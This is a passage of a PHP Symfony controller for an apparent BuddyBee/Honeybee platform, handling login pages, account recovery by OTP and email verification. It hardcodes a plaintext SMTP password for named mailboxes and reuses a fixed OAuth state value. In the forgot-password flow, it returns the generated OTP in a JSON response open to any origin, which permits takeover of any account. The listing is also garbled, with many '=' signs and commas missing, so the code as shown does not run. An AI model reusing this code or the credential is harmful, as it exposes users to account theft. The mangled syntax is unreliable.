  7782. //                        'encData' => $encData,
  7783. //                        'locale' => $request->request->get('locale', 'en'),
  7784. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7785. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7786. //                    ]);
  7787.             }
  7788.         }
  7789.         $selector BuddybeeConstant::$selector;
  7790.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7791.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7792.         if ($systemType == '_ERP_') {
  7793.         } else if ($systemType == '_SOPHIA_') {
  7794.             return $this->render(
  7795.                 '@Sophia/pages/views/sofia_login.html.twig',
  7796.                 [
  7797.                     'page_title' => 'Sophia Login',
  7798.                     'oAuthLink' => $google_client->createAuthUrl(),
  7799.                     'redirect_url' => $url,
  7800.                     'message' => $message,
  7801.                     'systemType' => $systemType,
  7802.                     'ownServerId' => $ownServerId,
  7803.                     'errorField' => '',
  7804.                     'encData' => $encData,
  7805.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7806.                     'selector' => $selector,
  7807.                 ]
  7808.             );
  7809.         } else if ($systemType == '_CENTRAL_') {
  7810.             return $this->render(
  7811.                 '@Authentication/pages/views/central_login.html.twig',
  7812.                 [
  7813.                     'page_title' => 'Central Login',
  7814.                     'oAuthLink' => $google_client->createAuthUrl(),
  7815.                     'redirect_url' => $url,
  7816.                     'message' => $message,
  7817.                     'systemType' => $systemType,
  7818.                     'ownServerId' => $ownServerId,
  7819.                     'errorField' => '',
  7820.                     'encData' => $encData,
  7821.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7822.                     'selector' => $selector,
  7823.                 ]
  7824.             );
  7825.         } else if ($systemType == '_BUDDYBEE_') {
  7826.             return $this->render(
  7827.                 '@Authentication/pages/views/applicant_login.html.twig',
  7828.                 [
  7829.                     'page_title' => 'BuddyBee Login',
  7830.                     'oAuthLink' => $google_client->createAuthUrl(),
  7831.                     'redirect_url' => $url,
  7832.                     'message' => $message,
  7833.                     'errorField' => $errorField,
  7834.                     'encData' => $encData,
  7835.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7836.                     'selector' => $selector
  7837.                 ]
  7838.             );
  7839.         }
  7840.         return $this->render(
  7841.             '@Authentication/pages/views/applicant_login.html.twig',
  7842.             [
  7843.                 'page_title' => 'Applicant Registration',
  7844.                 'oAuthLink' => $google_client->createAuthUrl(),
  7845.                 'redirect_url' => $url,
  7846.                 'encData' => $encData,
  7847.                 'message' => $message,
  7848.                 'errorField' => $errorField,
  7849.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7850.                 'selector' => $selector
  7851.             ]
  7852.         );
  7853.     }
  7854.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7855.     {
  7856. //        $userCategory=$request->request->has('userCategory');
  7857.         $encryptedData = [];
  7858.         $errorField '';
  7859.         $message '';
  7860.         $userType '';
  7861.         $otpExpireSecond 180;
  7862.         $otpExpireTs 0;
  7863.         $otp '';
  7864.         if ($encData != '')
  7865.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7866. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7867.         $userCategory '_BUDDYBEE_USER_';
  7868.         if (isset($encryptedData['userCategory']))
  7869.             $userCategory $encryptedData['userCategory'];
  7870.         else
  7871.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7872.         $em $this->getDoctrine()->getManager('company_group');
  7873.         $em_goc $this->getDoctrine()->getManager('company_group');
  7874.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7875.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7876.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7877.         $twigData = [];
  7878.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7879.         $email_address $request->request->get('email''');
  7880.         $email_twig_data = [];
  7881.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7882.         if ($request->isMethod('POST')) {
  7883.             //set an otp and its expire and send mail
  7884.             $email_address $request->request->get('email');
  7885.             $userObj null;
  7886.             $userData = [];
  7887.             if ($systemType == '_ERP_') {
  7888.                 if ($userCategory == '_APPLICANT_') {
  7889.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7890.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7891.                         array(
  7892.                             'email' => $email_address
  7893.                         )
  7894.                     );
  7895.                     if ($userObj) {
  7896.                     } else {
  7897.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7898.                             array(
  7899.                                 'oAuthEmail' => $email_address
  7900.                             )
  7901.                         );
  7902.                         if ($userObj) {
  7903.                         } else {
  7904.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7905.                                 array(
  7906.                                     'username' => $email_address
  7907.                                 )
  7908.                             );
  7909.                         }
  7910.                     }
  7911.                     if ($userObj) {
  7912.                         $email_address $userObj->getEmail();
  7913.                         if ($email_address == null || $email_address == '')
  7914.                             $email_address $userObj->getOAuthEmail();
  7915.                     }
  7916. //                    triggerResetPassword:
  7917. //                    type: integer
  7918. //                          nullable: true
  7919.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7920.                     $otp $otpData['otp'];
  7921.                     $otpExpireTs $otpData['expireTs'];
  7922.                     $userObj->setOtp($otpData['otp']);
  7923.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7924.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7925.                     $em_goc->flush();
  7926.                     $userData = array(
  7927.                         'id' => $userObj->getApplicantId(),
  7928.                         'email' => $email_address,
  7929.                         'appId' => 0,
  7930. //                        'appId'=>$userObj->getUserAppId(),
  7931.                     );
  7932.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7933.                     $email_twig_data = [
  7934.                         'page_title' => 'Find Account',
  7935.                         'encryptedData' => $encryptedData,
  7936.                         'message' => $message,
  7937.                         'userType' => $userType,
  7938.                         'errorField' => $errorField,
  7939.                         'otp' => $otpData['otp'],
  7940.                         'otpExpireSecond' => $otpExpireSecond,
  7941.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7942.                         'otpExpireTs' => $otpData['expireTs'],
  7943.                         'systemType' => $systemType,
  7944.                         'userData' => $userData
  7945.                     ];
  7946.                     if ($userObj)
  7947.                         $email_twig_data['success'] = true;
  7948.                 } else {
  7949.                     $userType UserConstants::USER_TYPE_GENERAL;
  7950.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7951.                     $email_twig_data = [
  7952.                         'page_title' => 'Find Account',
  7953.                         'encryptedData' => $encryptedData,
  7954.                         'message' => $message,
  7955.                         'userType' => $userType,
  7956.                         'errorField' => $errorField,
  7957.                     ];
  7958.                 }
  7959.             } else if ($systemType == '_CENTRAL_') {
  7960.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7961.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7962.                     array(
  7963.                         'email' => $email_address
  7964.                     )
  7965.                 );
  7966.                 if ($userObj) {
  7967.                 } else {
  7968.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7969.                         array(
  7970.                             'oAuthEmail' => $email_address
  7971.                         )
  7972.                     );
  7973.                     if ($userObj) {
  7974.                     } else {
  7975.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7976.                             array(
  7977.                                 'username' => $email_address
  7978.                             )
  7979.                         );
  7980.                     }
  7981.                 }
  7982.                 if ($userObj) {
  7983.                     $email_address $userObj->getEmail();
  7984.                     if ($email_address == null || $email_address == '')
  7985.                         $email_address $userObj->getOAuthEmail();
  7986.                     //                    triggerResetPassword:
  7987. //                    type: integer
  7988. //                          nullable: true
  7989.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7990.                     $otp $otpData['otp'];
  7991.                     $otpExpireTs $otpData['expireTs'];
  7992.                     $userObj->setOtp($otpData['otp']);
  7993.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7994.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7995.                     $em_goc->flush();
  7996.                     $userData = array(
  7997.                         'id' => $userObj->getApplicantId(),
  7998.                         'email' => $email_address,
  7999.                         'appId' => 0,
  8000.                         'image' => $userObj->getImage(),
  8001.                         'firstName' => $userObj->getFirstname(),
  8002.                         'lastName' => $userObj->getLastname(),
  8003.                         'phone' => $userObj->getPhone(),
  8004. //                        'appId'=>$userObj->getUserAppId(),
  8005.                     );
  8006.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8007.                     $email_twig_data = [
  8008.                         'page_title' => 'Find Account',
  8009.                         'encryptedData' => $encryptedData,
  8010.                         'message' => $message,
  8011.                         'userType' => $userType,
  8012.                         'errorField' => $errorField,
  8013.                         'otp' => $otpData['otp'],
  8014.                         'otpExpireSecond' => $otpExpireSecond,
  8015.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8016.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8017.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8018.                         'otpExpireTs' => $otpData['expireTs'],
  8019.                         'systemType' => $systemType,
  8020.                         'userCategory' => $userCategory,
  8021.                         'userData' => $userData
  8022.                     ];
  8023.                     $email_twig_data['success'] = true;
  8024.                 } else {
  8025.                     $message "Oops! Could not find your account";
  8026.                     $email_twig_data['success'] = false;
  8027.                 }
  8028.             } else if ($systemType == '_BUDDYBEE_') {
  8029.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8030.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8031.                     array(
  8032.                         'email' => $email_address
  8033.                     )
  8034.                 );
  8035.                 if ($userObj) {
  8036.                 } else {
  8037.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8038.                         array(
  8039.                             'oAuthEmail' => $email_address
  8040.                         )
  8041.                     );
  8042.                     if ($userObj) {
  8043.                     } else {
  8044.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8045.                             array(
  8046.                                 'username' => $email_address
  8047.                             )
  8048.                         );
  8049.                     }
  8050.                 }
  8051.                 if ($userObj) {
  8052.                     $email_address $userObj->getEmail();
  8053.                     if ($email_address == null || $email_address == '')
  8054.                         $email_address $userObj->getOAuthEmail();
  8055.                     //                    triggerResetPassword:
  8056. //                    type: integer
  8057. //                          nullable: true
  8058.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8059.                     $otp $otpData['otp'];
  8060.                     $otpExpireTs $otpData['expireTs'];
  8061.                     $userObj->setOtp($otpData['otp']);
  8062.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8063.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8064.                     $em_goc->flush();
  8065.                     $userData = array(
  8066.                         'id' => $userObj->getApplicantId(),
  8067.                         'email' => $email_address,
  8068.                         'appId' => 0,
  8069.                         'image' => $userObj->getImage(),
  8070.                         'firstName' => $userObj->getFirstname(),
  8071.                         'lastName' => $userObj->getLastname(),
  8072.                         'phone' => $userObj->getPhone(),
  8073. //                        'appId'=>$userObj->getUserAppId(),
  8074.                     );
  8075.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8076.                     $email_twig_data = [
  8077.                         'page_title' => 'Find Account',
  8078.                         'encryptedData' => $encryptedData,
  8079.                         'message' => $message,
  8080.                         'userType' => $userType,
  8081.                         'errorField' => $errorField,
  8082.                         'otp' => $otpData['otp'],
  8083.                         'otpExpireSecond' => $otpExpireSecond,
  8084.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8085.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8086.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8087.                         'otpExpireTs' => $otpData['expireTs'],
  8088.                         'systemType' => $systemType,
  8089.                         'userCategory' => $userCategory,
  8090.                         'userData' => $userData
  8091.                     ];
  8092.                     $email_twig_data['success'] = true;
  8093.                 } else {
  8094.                     $message "Oops! Could not find your account";
  8095.                     $email_twig_data['success'] = false;
  8096.                 }
  8097.             }
  8098.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8099.                 if ($systemType == '_BUDDYBEE_') {
  8100.                     $bodyHtml '';
  8101.                     $bodyTemplate $email_twig_file;
  8102.                     $bodyData $email_twig_data;
  8103.                     $attachments = [];
  8104.                     $forwardToMailAddress $email_address;
  8105. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8106.                     $new_mail $this->get('mail_module');
  8107.                     $new_mail->sendMyMail(array(
  8108.                         'senderHash' => '_CUSTOM_',
  8109.                         //                        'senderHash'=>'_CUSTOM_',
  8110.                         'forwardToMailAddress' => $forwardToMailAddress,
  8111.                         'subject' => 'Account Verification',
  8112. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8113.                         'attachments' => $attachments,
  8114.                         'toAddress' => $forwardToMailAddress,
  8115.                         'fromAddress' => 'no-reply@buddybee.eu',
  8116.                         'userName' => 'no-reply@buddybee.eu',
  8117.                         'password' => 'Honeybee@0112',
  8118.                         'smtpServer' => 'smtp.hostinger.com',
  8119.                         'smtpPort' => 465,
  8120. //                            'emailBody' => $bodyHtml,
  8121.                         'mailTemplate' => $bodyTemplate,
  8122.                         'templateData' => $bodyData,
  8123. //                        'embedCompanyImage' => 1,
  8124. //                        'companyId' => $companyId,
  8125. //                        'companyImagePath' => $company_data->getImage()
  8126.                     ));
  8127.                 } else if ($systemType == '_CENTRAL_') {
  8128.                     $bodyHtml '';
  8129.                     $bodyTemplate $email_twig_file;
  8130.                     $bodyData $email_twig_data;
  8131.                     $attachments = [];
  8132.                     $forwardToMailAddress $email_address;
  8133. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8134.                     $new_mail $this->get('mail_module');
  8135.                     $new_mail->sendMyMail(array(
  8136.                         'senderHash' => '_CUSTOM_',
  8137.                         //                        'senderHash'=>'_CUSTOM_',
  8138.                         'forwardToMailAddress' => $forwardToMailAddress,
  8139.                         'subject' => 'Account Verification',
  8140. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8141.                         'attachments' => $attachments,
  8142.                         'toAddress' => $forwardToMailAddress,
  8143.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8144.                         'userName' => 'accounts@ourhoneybee.eu',
  8145.                         'password' => 'Honeybee@0112',
  8146.                         'smtpServer' => 'smtp.hostinger.com',
  8147.                         'smtpPort' => 465,
  8148. //                            'emailBody' => $bodyHtml,
  8149.                         'mailTemplate' => $bodyTemplate,
  8150.                         'templateData' => $bodyData,
  8151. //                        'embedCompanyImage' => 1,
  8152. //                        'companyId' => $companyId,
  8153. //                        'companyImagePath' => $company_data->getImage()
  8154.                     ));
  8155.                 } else {
  8156.                     $bodyHtml '';
  8157.                     $bodyTemplate $email_twig_file;
  8158.                     $bodyData $email_twig_data;
  8159.                     $attachments = [];
  8160.                     $forwardToMailAddress $email_address;
  8161. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8162.                     $new_mail $this->get('mail_module');
  8163.                     $new_mail->sendMyMail(array(
  8164.                         'senderHash' => '_CUSTOM_',
  8165.                         //                        'senderHash'=>'_CUSTOM_',
  8166.                         'forwardToMailAddress' => $forwardToMailAddress,
  8167.                         'subject' => 'Applicant Registration on Honeybee',
  8168. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8169.                         'attachments' => $attachments,
  8170.                         'toAddress' => $forwardToMailAddress,
  8171.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8172.                         'userName' => 'accounts@ourhoneybee.eu',
  8173.                         'password' => 'Honeybee@0112',
  8174.                         'smtpServer' => 'smtp.hostinger.com',
  8175.                         'smtpPort' => 465,
  8176.                         'emailBody' => $bodyHtml,
  8177.                         'mailTemplate' => $bodyTemplate,
  8178.                         'templateData' => $bodyData,
  8179. //                        'embedCompanyImage' => 1,
  8180. //                        'companyId' => $companyId,
  8181. //                        'companyImagePath' => $company_data->getImage()
  8182.                     ));
  8183.                 }
  8184.             }
  8185.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8186.                 if ($systemType == '_BUDDYBEE_') {
  8187.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8188.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8189.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8190.                      _APPEND_CODE_';
  8191.                     $msg str_replace($searchVal$replaceVal$msg);
  8192.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8193.                     $sendType 'all';
  8194.                     $socketUserIds = [];
  8195.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8196.                 } else {
  8197.                 }
  8198.             }
  8199.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8200.                 $response = new JsonResponse(array(
  8201.                         'templateData' => $twigData,
  8202.                         'message' => $message,
  8203. //                        "otp"=>'',
  8204.                         "otp" => $otp,
  8205.                         "otpExpireTs" => $otpExpireTs,
  8206.                         'actionData' => $email_twig_data,
  8207.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8208.                     )
  8209.                 );
  8210.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8211.                 return $response;
  8212.             } else if ($email_twig_data['success'] == true) {
  8213.                 $encData = array(
  8214.                     "userType" => $userType,
  8215.                     "otp" => '',
  8216. //                "otp"=>$otp,
  8217.                     "otpExpireTs" => $otpExpireTs,
  8218.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8219.                     "userCategory" => $userCategory,
  8220.                     "userId" => $userData['id'],
  8221.                     "systemType" => $systemType,
  8222.                     "email" => $email_address,
  8223.                 );
  8224.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8225.                 $url $this->generateUrl(
  8226.                     'verify_otp'
  8227.                 );
  8228.                 return $this->redirect($url "/" $encDataStr);
  8229. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8230. ////                    'encData'
  8231. ////                'id' => $isApplicantExist->getApplicantId(),
  8232. ////                'oAuthData' => $oAuthData,
  8233. ////                'refRoute' => $refRoute,
  8234. //                ]);
  8235.             }
  8236.         }
  8237.         if ($systemType == '_ERP_') {
  8238.             if ($userCategory == '_APPLICANT_') {
  8239.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8240.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8241.                 $twigData = [
  8242.                     'page_title' => 'Find Account',
  8243.                     'encryptedData' => $encryptedData,
  8244.                     'message' => $message,
  8245.                     'systemType' => $systemType,
  8246.                     'ownServerId' => $ownServerId,
  8247.                     'userType' => $userType,
  8248.                     'errorField' => $errorField,
  8249.                 ];
  8250.             } else {
  8251.                 $userType UserConstants::USER_TYPE_GENERAL;
  8252.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8253.                 $twigData = [
  8254.                     'page_title' => 'Find Account',
  8255.                     'encryptedData' => $encryptedData,
  8256.                     'systemType' => $systemType,
  8257.                     'ownServerId' => $ownServerId,
  8258.                     'message' => $message,
  8259.                     'userType' => $userType,
  8260.                     'errorField' => $errorField,
  8261.                 ];
  8262.             }
  8263.         } else if ($systemType == '_CENTRAL_') {
  8264.             $userType UserConstants::USER_TYPE_APPLICANT;
  8265.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8266.             $twigData = [
  8267.                 'page_title' => 'Find Account',
  8268.                 'encryptedData' => $encryptedData,
  8269.                 'systemType' => $systemType,
  8270.                 'ownServerId' => $ownServerId,
  8271.                 "otp" => '',
  8272. //                "otp"=>$otp,
  8273.                 "otpExpireTs" => $otpExpireTs,
  8274.                 'message' => $message,
  8275.                 'userType' => $userType,
  8276.                 'errorField' => $errorField,
  8277.             ];
  8278.         } else if ($systemType == '_BUDDYBEE_') {
  8279.             $userType UserConstants::USER_TYPE_APPLICANT;
  8280.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8281.             $twigData = [
  8282.                 'page_title' => 'Find Account',
  8283.                 'encryptedData' => $encryptedData,
  8284.                 "otp" => '',
  8285.                 'systemType' => $systemType,
  8286.                 'ownServerId' => $ownServerId,
  8287. //                "otp"=>$otp,
  8288.                 "otpExpireTs" => $otpExpireTs,
  8289.                 'message' => $message,
  8290.                 'userType' => $userType,
  8291.                 'errorField' => $errorField,
  8292.             ];
  8293.         }
  8294.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8295.             $response = new JsonResponse(array(
  8296.                     'templateData' => $twigData,
  8297.                     'message' => $message,
  8298.                     "otp" => '',
  8299. //                "otp"=>$otp,
  8300.                     "otpExpireTs" => $otpExpireTs,
  8301.                     'actionData' => $email_twig_data,
  8302.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8303.                 )
  8304.             );
  8305.             $response->headers->set('Access-Control-Allow-Origin''*');
  8306.             return $response;
  8307.         } else {
  8308.             return $this->render(
  8309.                 $twig_file,
  8310.                 $twigData
  8311.             );
  8312.         }
  8313.     }
  8314.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8315.     {
  8316. //        $userCategory=$request->request->has('userCategory');
  8317.         $encryptedData = [];
  8318.         $errorField '';
  8319.         $message '';
  8320.         $userType '';
  8321.         $otpExpireSecond 180;
  8322.         $otpExpireTs 0;
  8323.         $otp '';
  8324.         if ($encData != '')
  8325.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8326. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8327.         $userCategory '_BUDDYBEE_USER_';
  8328.         if (isset($encryptedData['userCategory']))
  8329.             $userCategory $encryptedData['userCategory'];
  8330.         else
  8331.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8332.         $em $this->getDoctrine()->getManager('company_group');
  8333.         $em_goc $this->getDoctrine()->getManager('company_group');
  8334.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8335.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8336.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8337.         $twigData = [];
  8338.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8339.         $email_address $request->request->get('email''');
  8340.         $email_twig_data = [];
  8341.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8342.         if ($request->isMethod('POST')) {
  8343.             //set an otp and its expire and send mail
  8344.             $email_address $request->request->get('email');
  8345.             $userObj null;
  8346.             $userData = [];
  8347.             if ($systemType == '_ERP_') {
  8348.                 if ($userCategory == '_APPLICANT_') {
  8349.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8350.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8351.                         array(
  8352.                             'email' => $email_address
  8353.                         )
  8354.                     );
  8355.                     if ($userObj) {
  8356.                     } else {
  8357.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8358.                             array(
  8359.                                 'oAuthEmail' => $email_address
  8360.                             )
  8361.                         );
  8362.                         if ($userObj) {
  8363.                         } else {
  8364.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8365.                                 array(
  8366.                                     'username' => $email_address
  8367.                                 )
  8368.                             );
  8369.                         }
  8370.                     }
  8371.                     if ($userObj) {
  8372.                         $email_address $userObj->getEmail();
  8373.                         if ($email_address == null || $email_address == '')
  8374.                             $email_address $userObj->getOAuthEmail();
  8375.                     }
  8376. //                    triggerResetPassword:
  8377. //                    type: integer
  8378. //                          nullable: true
  8379.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8380.                     $otp $otpData['otp'];
  8381.                     $otpExpireTs $otpData['expireTs'];
  8382.                     $userObj->setOtp($otpData['otp']);
  8383.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8384.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8385.                     $em_goc->flush();
  8386.                     $userData = array(
  8387.                         'id' => $userObj->getApplicantId(),
  8388.                         'email' => $email_address,
  8389.                         'appId' => 0,
  8390. //                        'appId'=>$userObj->getUserAppId(),
  8391.                     );
  8392.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8393.                     $email_twig_data = [
  8394.                         'page_title' => 'Find Account',
  8395.                         'encryptedData' => $encryptedData,
  8396.                         'message' => $message,
  8397.                         'userType' => $userType,
  8398.                         'errorField' => $errorField,
  8399.                         'otp' => $otpData['otp'],
  8400.                         'otpExpireSecond' => $otpExpireSecond,
  8401.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8402.                         'otpExpireTs' => $otpData['expireTs'],
  8403.                         'systemType' => $systemType,
  8404.                         'userData' => $userData
  8405.                     ];
  8406.                     if ($userObj)
  8407.                         $email_twig_data['success'] = true;
  8408.                 } else {
  8409.                     $userType UserConstants::USER_TYPE_GENERAL;
  8410.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8411.                     $email_twig_data = [
  8412.                         'page_title' => 'Find Account',
  8413.                         'encryptedData' => $encryptedData,
  8414.                         'message' => $message,
  8415.                         'userType' => $userType,
  8416.                         'errorField' => $errorField,
  8417.                     ];
  8418.                 }
  8419.             } else if ($systemType == '_CENTRAL_') {
  8420.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8421.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8422.                     array(
  8423.                         'email' => $email_address
  8424.                     )
  8425.                 );
  8426.                 if ($userObj) {
  8427.                 } else {
  8428.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8429.                         array(
  8430.                             'oAuthEmail' => $email_address
  8431.                         )
  8432.                     );
  8433.                     if ($userObj) {
  8434.                     } else {
  8435.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8436.                             array(
  8437.                                 'username' => $email_address
  8438.                             )
  8439.                         );
  8440.                     }
  8441.                 }
  8442.                 if ($userObj) {
  8443.                     $email_address $userObj->getEmail();
  8444.                     if ($email_address == null || $email_address == '')
  8445.                         $email_address $userObj->getOAuthEmail();
  8446.                     //                    triggerResetPassword:
  8447. //                    type: integer
  8448. //                          nullable: true
  8449.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8450.                     $otp $otpData['otp'];
  8451.                     $otpExpireTs $otpData['expireTs'];
  8452.                     $userObj->setOtp($otpData['otp']);
  8453.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8454.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8455.                     $em_goc->flush();
  8456.                     $userData = array(
  8457.                         'id' => $userObj->getApplicantId(),
  8458.                         'email' => $email_address,
  8459.                         'appId' => 0,
  8460.                         'image' => $userObj->getImage(),
  8461.                         'firstName' => $userObj->getFirstname(),
  8462.                         'lastName' => $userObj->getLastname(),
  8463.                         'phone' => $userObj->getPhone(),
  8464. //                        'appId'=>$userObj->getUserAppId(),
  8465.                     );
  8466.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8467.                     $email_twig_data = [
  8468.                         'page_title' => 'Find Account',
  8469.                         'encryptedData' => $encryptedData,
  8470.                         'message' => $message,
  8471.                         'userType' => $userType,
  8472.                         'errorField' => $errorField,
  8473.                         'otp' => $otpData['otp'],
  8474.                         'otpExpireSecond' => $otpExpireSecond,
  8475.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8476.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8477.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8478.                         'otpExpireTs' => $otpData['expireTs'],
  8479.                         'systemType' => $systemType,
  8480.                         'userCategory' => $userCategory,
  8481.                         'userData' => $userData
  8482.                     ];
